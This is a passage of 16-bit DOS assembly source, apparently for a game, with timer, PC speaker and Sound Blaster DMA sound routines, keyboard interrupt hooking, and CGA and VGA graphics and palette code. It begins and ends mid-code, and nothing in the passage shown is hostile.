o267: LOOP delay0ltop POP CX ADD SP,6 POP BP RET _getkips: PUSH ES PUSH SI MOV AX,040 MOV ES,AX XOR AX,AX XOR DX,DX ES: MOV SI,W[06c] zerotime: ES: CMP SI,W[06c] JZ zerotime ES: MOV SI,W[06c] getkloop: CALL timekips ES: CMP SI,W[06c] JNZ donetime INC AX JNZ getkloop INC DX JMP getkloop donetime: POP SI POP ES RET timekips: PUSH AX PUSH DX PUSH SI MOV BX,0 MOV SI,0 DW 0a0f7,0 DW 09801,0,09801,0,09801,0,09801,0,09801,0,09801,0,09801,0,09801,0,09801,0 DW 09801,0,09801,0,09801,0,09801,0,09801,0,09801,0,09801,0,09801,0,09801,0 DW 09801,0,09801,0,09801,0,09801,0,09801,0,09801,0,09801,0,09801,0,09801,0 DW 09801,0,09801,0,09801,0,09801,0,09801,0,09801,0,09801,0,09801,0,09801,0 DW 09801,0,09801,0,09801,0,09801,0 POP SI POP DX POP AX RET _inittimer: XOR AX,AX MOV W[_hrt],AX MOV W[_hrt+2],AX RET _gethrt: PUSH SI PUSH DI LEA SI,W[_hrt] LEA DI,W[_hrt+2] retryhrt: MOV AL,4 ;Latch counter 0 value CLI OUT 043,AL MOV BX,W[SI] ;Ideally, these four instructions would be executed MOV DX,W[DI] ;simultaneously - no time for an interrupt. MOV CX,W[countval] ; NB they probably are on heavily pipelined processors. IN AL,040 MOV AH,AL IN AL,040 STI XCHG AL,AH SUB CX,AX MOV AX,CX CMP AX,020 JB retryhrt ADD AX,BX ADC DX,0 POP DI POP SI RET _getlrt: PUSH ES MOV AX,040 MOV ES,AX ES: MOV AX,W[06c] ES: MOV DX,W[06e] POP ES RET ; New sound routines _s1initint8: PUSH DI MOV AX,DS CS: MOV W[dssave8],AX PUSH DS MOV AX,0 MOV DS,AX MOV DI,020 MOV AX,W[DI] MOV BX,W[DI+2] CS: MOV W[int8save],AX CS: MOV W[int8save+2],BX MOV CX,offset interrupt8v2 MOV DX,CS CLI MOV W[DI],CX MOV W[DI+2],DX STI XOR AX,AX PUSH AX CALL _s0settimer0 POP AX POP DS POP DI RET interrupt8v2: PUSH AX PUSH BX PUSH CX PUSH DX PUSH DS PUSH ES CS: MOV AX,W[dssave8] MOV DS,AX MOV ES,AX CALL W[_fillbuffer] MOV AX,W[countval] DEC AX XOR DX,DX ADD AX,1 ADC DX,0 ADD W[_hrt],AX ADC W[_hrt+2],DX MOV BX,W[newcount] MOV W[countval],BX POP ES POP DS POP DX POP CX POP BX POP AX CS: JMP D[int8save] _setsounddevice: PUSH BP MOV BP,SP MOV AX,W[BP+4] ;Port (0210, 0220, 0230, 0240, 0250 or 0260) MOV W[sbport],AX MOV W[irqport],021 MOV AX,W[BP+6] ;IRQ (2, 3, 5, or 7) ADD AX,8 CMP AX,010 JL lowirq ADD AX,060 MOV W[irqport],0a1 lowirq: MOV W[sbint],AX MOV AX,W[BP+8] ;DMA channel (0, 1 or 3) SHL AX,1 MOV W[sbdma],AX MOV BX,W[BP+0a] ;Transfer frequency in Hz MOV DX,0f MOV AX,04240 DIV BX MOV DX,256 SUB DX,AX MOV W[sbfrq],DX MOV AX,W[BP+0c] ;Length in bytes MOV W[sblen],AX SHL AX,1 PUSH AX CALL _malloc POP CX CMP AX,0 JE endsetsb MOV W[sbbuf],AX endsetsb: POP BP RET _initsounddevice: PUSH BP PUSH SI PUSH DI MOV DX,W[sbport] ADD DX,6 MOV AL,1 OUT DX,AL PUSH DX CALL _gethrt MOV SI,AX MOV DI,DX ADD SI,4 ;3 microseconds ADC DI,0 delayloop: CALL _gethrt SUB AX,SI SBB DX,DI JC delayloop POP DX XOR AL,AL OUT DX,AL PUSH DX CALL _gethrt MOV SI,AX MOV DI,DX ADD SI,239 ;200 microseconds ADC DI,0 POP DX ADD DX,8 waitloop: IN AL,DX TEST AL,080 JNZ gotsb PUSH DX CALL _gethrt SUB AX,SI SBB DX,DI POP DX JC waitloop nosb: XOR AX,AX JMP endreset gotsb: SUB DX,4 IN AL,DX CMP AL,0aa JNZ nosb MOV BX,W[sbint] SHL BX,1 SHL BX,1 PUSH ES XOR AX,AX MOV ES,AX ES: MOV AX,W[BX] MOV W[sboldint],AX ES: MOV AX,W[BX+2] MOV W[sboldint+2],AX CS: MOV W[sbsaveds],DS CLI MOV AX,offset sbhandler ES: MOV W[BX],AX MOV AX,CS ES: MOV W[BX+2],AX STI MOV CL,B[sbint] AND CL,7 MOV DX,W[irqport] MOV AH,1 SHL AH,CL IN AL,DX NOT AH AND AL,AH OUT DX,AL POP ES MOV AL,040 CALL writedsp MOV AL,B[sbfrq] CALL writedsp MOV AL,0d1 CALL writedsp CALL playsample MOV AX,-1 endreset: POP DI POP SI POP BP RET _killsounddevice: MOV W[sbdonef],0 MOV W[sbendf],-1 waitsendloop: CMP W[sbdonef],0 JE waitsendloop MOV BX,W[sbint] SHL BX,1 SHL BX,1 PUSH ES XOR AX,AX MOV ES,AX CLI MOV AX,W[sboldint] ES: MOV W[BX],AX MOV AX,W[sboldint+2] ES: MOV W[BX+2],AX STI POP ES MOV CL,B[sbint] AND CL,7 MOV DX,W[irqport] MOV AH,1 SHL AH,CL IN AL,DX OR AL,AH OUT DX,AL RET writedsp: PUSH AX MOV DX,W[sbport] ADD DX,0c waitdsp: IN AL,DX OR AL,AL JS waitdsp POP AX OUT DX,AL RET playsample: PUSH SI PUSH DI MOV AX,W[sbbuf] MOV SI,DS MOV DI,DS MOV CL,4 SHL SI,CL MOV CL,12 SHR DI,CL ADD SI,AX ADC DI,0 MOV AX,SI MOV CX,W[sblen] ADD AX,CX JNC boundaryokay INC DI XOR SI,SI boundaryokay: DEC CX MOV BX,W[sbdma] MOV DX,W[BX+dmamaskregs] MOV AL,BL SHR AL,1 OR AL,4 OUT DX,AL MOV DX,W[BX+dmaclearregs] XOR AL,AL OUT DX,AL MOV DX,W[BX+dmamoderegs] MOV AL,BL SHR AL,1 OR AL,048 OUT DX,AL MOV DX,W[BX+dmaaddressregs] MOV AX,SI OUT DX,AL MOV AL,AH OUT DX,AL MOV DX,W[BX+dmapageregs] MOV AX,DI OUT DX,AL MOV DX,W[BX+dmalengthregs] MOV AX,CX OUT DX,AL MOV AL,AH OUT DX,AL MOV DX,W[BX+dmamaskregs] MOV AL,BL SHR AL,1 OUT DX,AL MOV AL,014 CALL writedsp MOV AL,CL CALL writedsp MOV AL,CH CALL writedsp POP DI POP SI RET sbsaveds: DW 0 sbhandler: PUSH AX PUSH BX PUSH CX PUSH DX PUSH DS PUSH ES PUSH SI PUSH DI CS: MOV AX,W[sbsaveds] MOV DS,AX MOV ES,AX MOV DX,W[sbport] ADD DL,0e IN AL,DX CMP W[sbendf],0 JNZ endsbint MOV SI,W[_buffer] MOV BX,W[_firsts] ADD SI,BX MOV DI,W[sbbuf] MOV DX,W[_size] MOV CX,W[sblen] copylooptop: MOVSB INC BX CMP BX,DX JNE contloop XOR BX,BX MOV SI,W[_buffer] contloop: LOOP copylooptop MOV W[_firsts],BX CALL playsample finsbint: MOV AL,020 OUT 020,AL POP DI POP SI POP ES POP DS POP DX POP CX POP BX POP AX IRET endsbint: MOV W[sbdonef],-1 MOV W[sbendf],0 JMP finsbint ;Original style sound routines _s0initint8: PUSH DI MOV AX,DS CS: MOV W[dssave8],AX PUSH DS MOV AX,0 MOV DS,AX MOV DI,020 MOV AX,W[DI] MOV BX,W[DI+2] CS: MOV W[int8save],AX CS: MOV W[int8save+2],BX MOV CX,offset interrupt8 MOV DX,CS CLI MOV W[DI],CX MOV W[DI+2],DX STI POP DS POP DI RET _s1restoreint8: _s0restoreint8: PUSH DI CLI MOV AL,034 OUT 043,AL XOR AL,AL OUT 040,AL OUT 040,AL CS: MOV AX,W[int8save] CS: MOV BX,W[int8save+2] MOV DI,020 PUSH DS XOR CX,CX MOV DS,CX MOV W[DI],AX MOV W[DI+2],BX STI POP DS POP DI RET int8save: DW 0,0 dssave8: DW 0 interrupt8: PUSH AX PUSH BX PUSH CX PUSH DX PUSH DS PUSH ES CS: MOV AX,W[dssave8] MOV DS,AX MOV ES,AX MOV AX,W[countval] DEC AX XOR DX,DX ADD AX,1 ADC DX,0 ADD W[_hrt],AX ADC W[_hrt+2],DX MOV BX,W[newcount] MOV W[countval],BX CMP W[_spkrmode],0 JZ o3ce CMP W[_spkrmode],1 JZ o3be IN AL,061 XOR AL,2 OUT 061,AL JMP o3ce o3be: MOV CX,W[_pulsewidth] IN AL,061 OR AL,2 OUT 061,AL o3c9: LOOP o3c9 AND AL,0fd OUT 061,AL o3ce: MOV AX,W[_timerrate] CMP AX,0 JZ autoback ADD W[_timercount],AX PUSHF MOV AX,W[_timercount] AND AX,0c000 CS: CMP AX,W[ttbtc] JE nointyet CS: MOV W[ttbtc],AX CALL _soundint nointyet: POPF JNC o3ea back: POP ES POP DS POP DX POP CX POP BX POP AX CS: JMP D[int8save] autoback: CALL _soundint JMP back o3ea: MOV AL,020 OUT 020,AL POP ES POP DS POP DX POP CX POP BX POP AX IRET ttbtc: ;Top two bits of _timercount DW 0 _s0soundoff: IN AL,061 AND AL,0fc OUT 061,AL RET _s0setspkrt2: IN AL,061 OR AL,3 OUT 061,AL RET _s0settimer0: PUSH BP MOV BP,SP MOV AL,034 OUT 043,AL MOV AX,W[BP+4] MOV W[countval],AX MOV W[newcount],AX OUT 040,AL MOV AL,AH OUT 040,AL XOR AX,AX MOV W[_hrt],AX MOV W[_hrt+2],AX POP BP RET _s0timer0: PUSH BP MOV BP,SP MOV AX,W[BP+4] MOV W[newcount],AX OUT 040,AL MOV AL,AH OUT 040,AL POP BP RET _s0settimer2: PUSH BP MOV BP,SP MOV AL,0b6 OUT 043,AL MOV AX,W[BP+4] OUT 042,AL MOV AL,AH OUT 042,AL POP BP RET _s0timer2: PUSH BP MOV BP,SP MOV AX,W[BP+4] OUT 042,AL MOV AL,AH OUT 042,AL POP BP RET _s0soundinitglob: _s0soundkillglob: RET ;Keyboard routines _initkeyb: PUSH DI MOV AX,DS CS: MOV W[dssave9],AX PUSH DS MOV AX,0 MOV DS,AX MOV DI,024 MOV AX,W[DI] MOV BX,W[DI+2] MOV CX,offset interrupt9 MOV DX,CS CLI MOV W[DI],CX MOV W[DI+2],DX STI POP DS CS: MOV W[int9save],AX CS: MOV W[int9save+2],BX POP DI RET _restorekeyb: PUSH DI PUSH ES MOV AX,0 MOV ES,AX MOV DI,024 CLI CS: MOV AX,W[int9save] ES: MOV W[DI],AX CS: MOV AX,W[int9save+2] ES: MOV W[DI+2],AX STI POP ES POP DI RET int9save: DW 0,0 dssave9: DW 0 interrupt9: PUSH AX PUSH BX PUSH CX PUSH DX PUSH DS PUSH ES CS: MOV AX,W[dssave9] MOV DS,AX IN AL,060 XOR AH,AH PUSH AX CALL _processkey POP AX POP ES POP DS POP DX POP CX POP BX POP AX CS: JMP D[int9save] _getkey: MOV AH,0 INT 016 CMP AL,0 JNE getlow MOV AL,AH MOV AH,1 JMP endgetkey getlow: MOV AH,0 endgetkey: RET _kbhit: MOV AH,1 INT 016 JZ nokeypressed MOV AX,1 JMP donekbhit nokeypressed: XOR AX,AX donekbhit: RET ;Miscellaneous graphics _graphicsoff: MOV AX,3 INT 010 RET _gretrace: CMP B[_retrflag],0 JNZ o513 RET o513: PUSH DX PUSH AX MOV DX,03da o518: IN AL,DX TEST AL,8 JNZ o518 oo518: IN AL,DX TEST AL,8 JZ oo518 POP AX POP DX RET ;CGA graphics _cgainit: MOV B[_paletten],0 MOV AX,4 INT 010 MOV AH,0b MOV BX,0 INT 010 MOV BX,0100 INT 010 RET _cgaclear: PUSH DI PUSH ES MOV AX,0b800 MOV ES,AX MOV CX,02000 XOR DI,DI XOR AX,AX REP STOSW POP ES POP DI RET _cgapal: PUSH BP MOV BP,SP CALL _gretrace CMP W[_biosflag],1 JZ biospalette MOV AL,B[BP+4] AND AL,1 SHL AL,1 MOV AH,B[_paletten] AND AH,0fd OR AL,AH JMP cgasetpal biospalette: MOV BL,B[BP+4] AND BL,1 MOV AH,0b MOV BH,1 INT 010 POP BP RET _cgainten: PUSH BP MOV BP,SP CALL _gretrace CMP W[_biosflag],1 JZ biosintensity MOV AL,B[BP+4] AND AL,1 MOV AH,B[_paletten] AND AH,0fe OR AL,AH JMP cgasetpal biosintensity: MOV BL,B[BP+4] AND BL,1 MOV CL,4 SHL BL,CL MOV AH,0b MOV BH,0 INT 010 POP BP RET cgasetpal: XOR AH,AH MOV BX,AX SHL BX,1 ADD BX,AX ADD BX,offset cgacolours MOV CL,4 SHL AL,CL MOV DX,03d9 OUT DX,AX MOV DX,03ba IN AL,DX MOV DX,03da IN AL,DX ;Make port 3c0 the index MOV DX,03c0 MOV AL,1 OUT DX,AL MOV AL,B[BX] OUT DX,AL MOV AL,2 OUT DX,AL MOV AL,B[BX+1] OUT DX,AL MOV AL,3 OUT DX,AL MOV AL,B[BX+2] OUT DX,AL MOV AL,020 OUT DX,AL POP BP RET _cgaputi: PUSH BP MOV BP,SP PUSH SI PUSH DI PUSH ES MOV BX,W[BP+4] MOV AX,W[BP+6] MOV DI,AX AND DI,1 MOV CL,0d SHL DI,CL SAR AX,1 MOV CL,80 MUL CL ADD DI,AX SAR BX,1 SAR BX,1 ADD DI,BX MOV DX,W[BP+0a] MOV CX,W[BP+0c] MOV SI,W[BP+8] MOV AX,0b800 MOV ES,AX CLD cpiyt: MOV BX,CX MOV CX,DX REP MOVSB MOV CX,BX SUB DI,DX ADD DI,02000 CMP DI,04000 JL cpiok SUB DI,03fb0 cpiok: LOOP cpiyt POP ES POP DI POP SI POP BP RET _cgageti: PUSH BP MOV BP,SP PUSH SI PUSH DI PUSH DS PUSH ES MOV BX,W[BP+4] MOV AX,W[BP+6] MOV SI,AX AND SI,1 MOV CL,0d SHL SI,CL SAR AX,1 MOV CL,80 MUL CL ADD SI,AX SAR BX,1 SAR BX,1 ADD SI,BX MOV DX,W[BP+0a] MOV CX,W[BP+0c] MOV DI,W[BP+8] MOV ES,DS MOV AX,0b800 MOV DS,AX CLD cgiyt: MOV BX,CX MOV CX,DX REP MOVSB MOV CX,BX SUB SI,DX ADD SI,02000 CMP SI,04000 JL cgiok SUB SI,03fb0 cgiok: LOOP cgiyt POP ES POP DS POP DI POP SI POP BP RET _cgaputim: PUSH BP MOV BP,SP PUSH SI PUSH DI PUSH DS PUSH ES MOV BX,W[BP+4] MOV AX,W[BP+6] MOV DI,AX AND DI,1 MOV CL,0d SHL DI,CL SAR AX,1 MOV CL,80 MUL CL ADD DI,AX SAR BX,1 SAR BX,1 ADD DI,BX PUSH DI MOV AX,0b800 MOV ES,AX CLD MOV DX,W[BP+0a] MOV CX,W[BP+0c] PUSH CX MOV SI,W[BP+8] MOV AX,seg _cgatable MOV DS,AX SHL SI,1 SHL SI,1 PUSH SI ADD SI,2 MOV AX,W[SI+offset _cgatable] MOV SI,AX cpmiyt: MOV BX,CX MOV CX,DX cpmixt: LODSB ES: AND B[DI],AL INC DI LOOP cpmixt MOV CX,BX SUB DI,DX ADD DI,02000 CMP DI,04000 JL cpmiok SUB DI,03fb0 cpmiok: LOOP cpmiyt POP SI MOV AX,W[SI+offset _cgatable] MOV SI,AX POP CX POP DI cpimyt: MOV BX,CX MOV CX,DX cpimxt: LODSB ES: OR B[DI],AL INC DI LOOP cpimxt MOV CX,BX SUB DI,DX ADD DI,02000 CMP DI,04000 JL cpimok SUB DI,03fb0 cpimok: LOOP cpimyt POP ES POP DS POP DI POP SI POP BP RET _cgagetpix: PUSH BP MOV BP,SP PUSH DI MOV AX,0b800 MOV ES,AX MOV BX,W[BP+6] ;y AND BX,1 MOV CL,0d SHL BX,CL MOV AX,W[BP+6] ;y SAR AX,1 MOV CL,80 MUL CL ADD BX,AX MOV AX,W[BP+4] ;x SAR AX,1 SAR AX,1 ADD BX,AX ES: MOV AL,B[BX] POP DI POP BP RET _cgawrite: PUSH BP MOV BP,SP PUSH SI PUSH DI PUSH DS PUSH ES MOV BX,W[BP+4] MOV AX,W[BP+6] MOV DI,AX AND DI,1 MOV CL,0d SHL DI,CL SAR AX,1 MOV CL,80 MUL CL ADD DI,AX SAR BX,1 SAR BX,1 ADD DI,BX MOV DL,B[BP+0a] AND DL,3 XOR DH,DH MOV AX,05555 MUL DX MOV DX,AX MOV BX,W[BP+8] XOR BH,BH SUB BX,020 JL cganochar CMP BX,05f JGE cganochar SHL BX,1 MOV AX,seg _ascii2cga MOV DS,AX MOV SI,W[BX+offset _ascii2cga] CMP SI,0 JE cganochar MOV BX,020 MOV AX,0b800 MOV ES,AX MOV CX,12 cytop: LODSW AND AX,DX STOSW LODSB AND AL,DL STOSB ADD DI,01ffd CMP DI,04000 JL cgaok SUB DI,03fb0 cgaok: LOOP cytop cganochar: POP ES POP DS POP DI POP SI POP BP RET _cgatitle: PUSH SI PUSH DI PUSH DS PUSH ES MOV AX,0b800 MOV ES,AX MOV DI,0 MOV SI,offset _cgatitledat MOV AX,seg _cgatitledat MOV DS,AX ctlt: MOV AL,B[SI] CMP AL,0fe JE ctrle ES: MOV B[DI],AL INC DI INC SI CMP DI,04000 JNZ ctlt JMP ctdone ctrle: INC SI MOV BL,B[SI] INC SI MOV AL,B[SI] INC SI ctrlt: ES: MOV B[DI],AL INC DI CMP DI,04000 JZ ctdone DEC BL JNZ ctrlt JMP ctlt ctdone: POP ES POP DS POP DI POP SI RET ;VGA graphics _vgainit: PUSH BP MOV BP,SP PUSH SI PUSH DI MOV B[_paletten],0 MOV AX,012 INT 010 MOV DX,03c2 MOV AL,063 OUT DX,AL CLI MOV DX,03da vrdly1: IN AL,DX TEST AL,8 JNZ vrdly1 vrdly2: IN AL,DX TEST AL,8 JZ vrdly2 MOV DX,03c4 MOV AX,0100 OUT DX,AX MOV DX,03c4 MOV AX,0300 OUT DX,AX MOV DX,03d4 MOV AL,011 OUT DX,AL INC DX IN AL,DX DEC DX AND AL,070 MOV AH,0e OR AH,AL MOV AL,011 PUSH AX OUT DX,AX MOV AX,09c10 OUT DX,AX MOV AX,08f12 OUT DX,AX MOV AX,09615 OUT DX,AX MOV AX,0b916 OUT DX,AX MOV AX,0bf06 OUT DX,AX MOV AL,9 OUT DX,AL INC DX IN AL,DX DEC DX AND AL,09f OR AL,040 MOV AH,AL MOV AL,9 OUT DX,AX MOV AX,01f07 OUT DX,AX POP AX OR AH,080 OUT DX,AX STI MOV DX,03c4 MOV AX,0300 OUT DX,AX XOR DI,DI MOV CX,0ff MOV SI,offset vgacolours MOV DX,03c8 slooptop: MOV AX,DI OUT DX,AL INC DX LODSB OUT DX,AL LODSB OUT DX,AL LODSB OUT DX,AL DEC DX INC DI LOOP slooptop POP DI POP SI MOV AL,020 MOV B[_paletten],AL MOV AX,-1 POP BP RET _vgaclear: PUSH DI PUSH ES MOV AX,0f02 MOV DX,03c4 OUT DX,AX MOV AX,0a000 MOV ES,AX XOR AX,AX XOR DI,DI MOV CX,16000 CLD REP STOSW POP ES POP DI RET _vgapal: PUSH BP MOV BP,SP CALL _gretrace MOV BL,B[BP+4] AND BL,1 MOV CL,3 SHL BL,CL MOV AL,B[_paletten] AND AL,0f7 OR AL,BL MOV B[_paletten],AL CALL vgasetpal POP BP RET _vgainten: PUSH BP MOV BP,SP CALL _gretrace MOV BL,B[BP+4] AND BL,1 MOV CL,2 SHL BL,CL MOV AL,B[_paletten] AND AL,0fb OR AL,BL MOV B[_paletten],AL CALL vgasetpal POP BP RET vgasetpal: PUSH AX MOV DX,03da IN AL,DX MOV DX,03ba IN AL,DX MOV AL,014 MOV DX,03c0 ;I'm using the VGA's colour select register to provide the OUT DX,AL ;equivalent of the CGA's palette/intensity functions. POP AX OUT DX,AL MOV AL,020 MOV DX,03c0 OUT DX,AL RET _vgaputi: PUSH BP MOV BP,SP PUSH SI PUSH DI PUSH ES MOV AX,W[BP+6] MOV DI,W[BP+4] MOV CL,160 MUL CL SHR DI,1 SHR DI,1 ADD DI,AX MOV SI,W[BP+8] MOV BX,W[BP+0a] MOV AX,0a000 MOV ES,AX MOV DX,03c4 MOV CX,4 PUSH DI CLD vpipt: PUSH CX DEC CL MOV AX,0102 SHL AH,CL OUT DX,AX MOV CX,W[BP+0c] SHL CX,1 vpiyt: MOV AX,CX MOV CX,BX REP MOVSB MOV CX,AX SUB DI,BX ADD DI,80 LOOP vpiyt POP CX POP DI PUSH DI LOOP vpipt POP DI POP ES POP DI POP SI POP BP RET _vgageti: PUSH BP MOV BP,SP PUSH SI PUSH DI PUSH DS PUSH ES MOV AX,W[BP+6] MOV SI,W[BP+4] MOV CL,160 MUL CL SHR SI,1 SHR SI,1 ADD SI,AX MOV DI,W[BP+8] MOV BX,W[BP+0a] MOV ES,DS MOV AX,0a000 MOV DS,AX MOV DX,03ce MOV CX,4 PUSH SI CLD vgipt: PUSH CX DEC CL MOV AL,4 MOV AH,CL OUT DX,AX SS: MOV CX,W[BP+0c] SHL CX,1 vgiyt: MOV AX,CX MOV CX,BX REP MOVSB MOV CX,AX SUB SI,BX ADD SI,80 LOOP vgiyt POP CX POP SI PUSH SI LOOP vgipt POP SI POP ES POP DS POP DI POP SI POP BP RET _vgaputim: PUSH BP MOV BP,SP PUSH SI PUSH DI PUSH DS PUSH ES MOV AX,W[BP+6] MOV DI,W[BP+4] MOV CL,160 MUL CL SHR DI,1 SHR DI,1 ADD DI,AX MOV BX,W[BP+0a] MOV SI,W[BP+8] MOV AX,seg _vgatable MOV DS,AX SHL SI,1 SHL SI,1 PUSH SI ADD SI,2 MOV AX,W[SI+offset _vgatable] MOV SI,AX PUSH SI PUSH DI MOV AX,0a000 MOV ES,AX MOV CX,4 MOV DX,03c4 CLD vpmipt: PUSH CX DEC CL MOV AX,0102 SHL AH,CL OUT DX,AX MOV AL,4 MOV AH,CL MOV DL,0ce OUT DX,AX MOV DL,0c4 SS: MOV CX,W[BP+0c] SHL CX,1 vpmiyt: PUSH CX MOV CX,BX vpmixt: LODSB ES: AND B[DI],AL INC DI LOOP vpmixt POP CX SUB DI,BX ADD DI,80 LOOP vpmiyt POP CX POP DI POP SI PUSH SI PUSH DI LOOP vpmipt POP DI POP SI POP SI MOV AX,W[SI+offset _vgatable] MOV SI,AX PUSH DI MOV CX,4 vpimpt: PUSH CX DEC CL MOV AX,0102 SHL AH,CL OUT DX,AX MOV AL,4 MOV AH,CL MOV DL,0ce OUT DX,AX MOV DL,0c4 SS: MOV CX,W[BP+0c] SHL CX,1 vpimyt: PUSH CX MOV CX,BX vpimxt: LODSB ES: OR B[DI],AL INC DI LOOP vpimxt POP CX SUB DI,BX ADD DI,80 LOOP vpimyt POP CX POP DI PUSH DI LOOP vpimpt POP DI POP ES POP DS POP DI POP SI POP BP RET _vgagetpix: PUSH BP MOV BP,SP PUSH DI XOR DI,DI MOV AX,0a000 MOV ES,AX MOV AX,W[BP+6] MOV CX,160 MUL CX MOV CX,AX MOV BX,W[BP+4] SAR BX,1 SAR BX,1 ADD BX,CX MOV CX,4 get4ptop: PUSH CX DEC CL MOV DX,03ce MOV AL,4 MOV AH,CL OUT DX,AX ES: MOV CL,B[BX] OR DI,CX ES: MOV CL,B[BX+80] OR DI,CX POP CX LOOP get4ptop MOV AX,DI AND AX,0ee ;Long story, to do with the height of fire going to 16 pixels POP DI POP BP RET vganochar: JMP vganochar2 _vgawrite: PUSH BP MOV BP,SP PUSH SI PUSH DI PUSH DS PUSH ES MOV BX,W[BP+8] XOR BH,BH SUB BX,020 JL vganochar2 CMP BX,05f JGE vganochar2 SHL BX,1 PUSH DS MOV AX,seg _ascii2vga MOV DS,AX MOV SI,W[BX+offset _ascii2vga] POP DS CMP SI,0 JE vganochar2 MOV BX,020 MOV AX,W[BP+6] MOV DI,W[BP+4] MOV CL,160 MUL CL SHR DI,1 SHR DI,1 ADD DI,AX MOV BL,B[BP+0a] XOR BH,BH SHL BX,1 SHL BX,1 SHL BX,1 ADD BX,offset _textoffdat MOV CX,4 MOV AX,0a000 MOV ES,AX MOV DX,03c4 MOV AX,seg _ascii2vga MOV DS,AX planetop: PUSH CX DEC CX MOV AX,0102 SHL AH,CL OUT DX,AX ADD SI,W[BX] INC BX INC BX MOV CX,24 ytop: MOVSW MOVSB ADD DI,77 LOOP ytop POP CX SUB DI,1920 LOOP planetop vganochar2: POP ES POP DS POP DI POP SI POP BP RET _vgatitle: PUSH ES PUSH DS PUSH DI PUSH SI MOV AX,0a000 MOV ES,AX MOV SI,offset _vgatitledat MOV AX,seg _vgatitledat MOV DS,AX MOV CX,4 MOV DX,03c4 vtplt: XOR DI,DI DEC CX MOV AX,0102 SHL AH,CL OUT DX,AX INC CX vtlt: MOV AL,B[SI] CMP AL,254 JE vtrle ES: MOV B[DI],AL INC DI INC SI CMP DI,07d00 JNZ vtlt JMP vtdone vtrle: INC SI MOV BL,B[SI] INC SI MOV AL,B[SI] INC SI vtrlt: ES: MOV B[DI],AL INC DI CMP DI,07d00 JZ vtdone DEC BL JNZ vtrlt JMP vtlt vtdone: LOOP vtplt POP SI POP DI POP DS POP ES RET _DATA SEGMENT WORD PUBLIC 'DATA' _paletten: DB 0 _hrt: DW 0,0 countval: DW 0 newcount: DW 0 cgacolours: DB 2,4,6,18,20,22,3,5,7,19,21,23 vgacolours: DB 0, 0, 0, 0, 0,32, 0,32, 0, 0,32,32 DB 32, 0, 0, 32, 0,32, 32,32, 0, 32,32,32 DB 0, 0,16, 0, 0,63, 0,32,16, 0,32,63 DB 32, 0,16, 32, 0,63, 32,32,16, 32,32,32 DB 0,16, 0, 0,16,32, 0,63, 0, 0,63,32 DB 32,16, 0, 32,16,32, 32,63, 0, 32,63,32 DB 0,16,16, 0,16,63, 0,63,16, 0,63,63 DB 32,16,16, 32,16,63, 32,63,16, 32,63,63 DB 16, 0, 0, 16, 0,32, 16,32, 0, 16,32,32 DB 63, 0, 0, 63, 0,32, 63,32, 0, 63,32,32 DB 16, 0,16, 16, 0,63, 16,32,16, 16,32,63 DB 63, 0,16, 63, 0,63, 63,32,16, 63,32,63 DB 16,16, 0, 16,16,32, 16,63, 0, 16,63,32 DB 63,16, 0, 63,16,32, 63,63, 0, 63,63,32 DB 16,16,16, 0, 0,63, 0,63, 0, 0,63,63 DB 63, 0, 0, 63, 0,63, 63,63, 0, 63,63,63 DB 0, 0, 0, 0, 0,63, 0,63, 0, 0,63,63 DB 63, 0, 0, 63, 0,63, 63,63, 0, 48,48,48 DB 0, 0,21, 0, 0,63, 0,42,21, 0,42,63 DB 42, 0,21, 42, 0,63, 42,42,21, 42,42,63 DB 0,21, 0, 0,21,42, 0,63, 0, 0,63,42 DB 63,32, 0, 42,21,42, 42,63, 0, 42,63,42 DB 0,21,21, 0,21,63, 0,63,21, 0,63,63 DB 42,21,21, 42,21,63, 42,63,21, 42,63,63 DB 21, 0, 0, 21, 0,42, 21,42, 0, 21,42,42 DB 63, 0, 0, 63, 0,42, 63,42, 0, 63,42,42 DB 21, 0,21, 21, 0,63, 21,42,21, 21,42,63 DB 63, 0,21, 63, 0,63, 63,42,21, 63,42,63 DB 21,21, 0, 21,21,42, 21,63, 0, 21,63,42 DB 63,21, 0, 63,21,42, 63,63, 0, 63,63,42 DB 32,32,32, 32,32,63, 32,63,32, 32,63,63 DB 63,32,32, 63,32,63, 63,63,32, 63,63,63 DB 0, 0, 0, 0,32, 0, 32, 0, 0, 32,16, 0 DB 0, 0,32, 0,32,32, 32, 0,32, 32,32,32 DB 0,16, 0, 0,63, 0, 32,16, 0, 32,63, 0 DB 0,16,32, 0,63,32, 32,16,32, 32,32,32 DB 16, 0, 0, 16,32, 0, 63, 0, 0, 63,32, 0 DB 32, 0,32, 16,32,32, 63, 0,32, 63,32,32 DB 16,16, 0, 16,63, 0, 63,16, 0, 63,63, 0 DB 16,16,32, 16,63,32, 63,16,32, 63,63,32 DB 0, 0,16, 0,32,16, 32, 0,16, 32,32,16 DB 0, 0,63, 0,32,63, 32, 0,63, 32,32,63 DB 0,16,16, 0,63,16, 32,16,16, 32,63,16 DB 0,16,63, 0,63,63, 32,16,63, 32,63,63 DB 16, 0,16, 16,32,16, 63, 0,16, 63,32,16 DB 16, 0,63, 16,32,63, 63, 0,63, 63,32,63 DB 16,16,16, 0,63, 0, 63, 0, 0, 63,63, 0 DB 0, 0,63, 0,63,63, 63, 0,63, 63,63,63 DB 0, 0, 0, 0,63, 0, 63, 0, 0, 63,32, 0 DB 0, 0,63, 0,63,63, 63, 0,63, 48,48,48 DB 0,21, 0, 0,63, 0, 42,21, 0, 42,63, 0 DB 0,21,42, 0,63,42, 42,21,42, 42,63,42 DB 21, 0, 0, 21,42, 0, 63, 0, 0, 63,42, 0 DB 63, 0,63, 21,42,42, 63, 0,42, 63,42,42 DB 21,21, 0, 21,63, 0, 63,21, 0, 63,63, 0 DB 21,21,42, 21,63,42, 63,21,42, 63,63,42 DB 0, 0,21, 0,42,21, 42, 0,21, 42,42,21 DB 0, 0,63, 0,42,63, 42, 0,63, 42,42,63 DB 0,21,21, 0,63,21, 42,21,21, 42,63,21 DB 0,21,63, 0,63,63, 42,21,63, 42,63,63 DB 21, 0,21, 21,42,21, 63, 0,21, 63,42,21 DB 21, 0,63, 21,42,63, 63, 0,63, 63,42,63 DB 32,32,32, 32,63,32, 63,32,32, 63,63,32 DB 32,32,63, 32,63,63, 63,32,63, 63,63,63 sbport: DW 0220 sbint: DW 0f sbdma: DW 2 sbfrq: DW 200 sblen: DW 100 sbbuf: DW 0 sboldint: DW 0,0 sbendf: DW 0 sbdonef: DW 0 irqport: DW 021 dmapageregs: DW 087,083,081,082,08f,08b,089,08a dmaaddressregs: DW 0,2,4,6,0c0,0c4,0c8,0cc dmalengthregs: DW 1,3,5,7,0c2,0c6,0ca,0ce dmamaskregs: DW 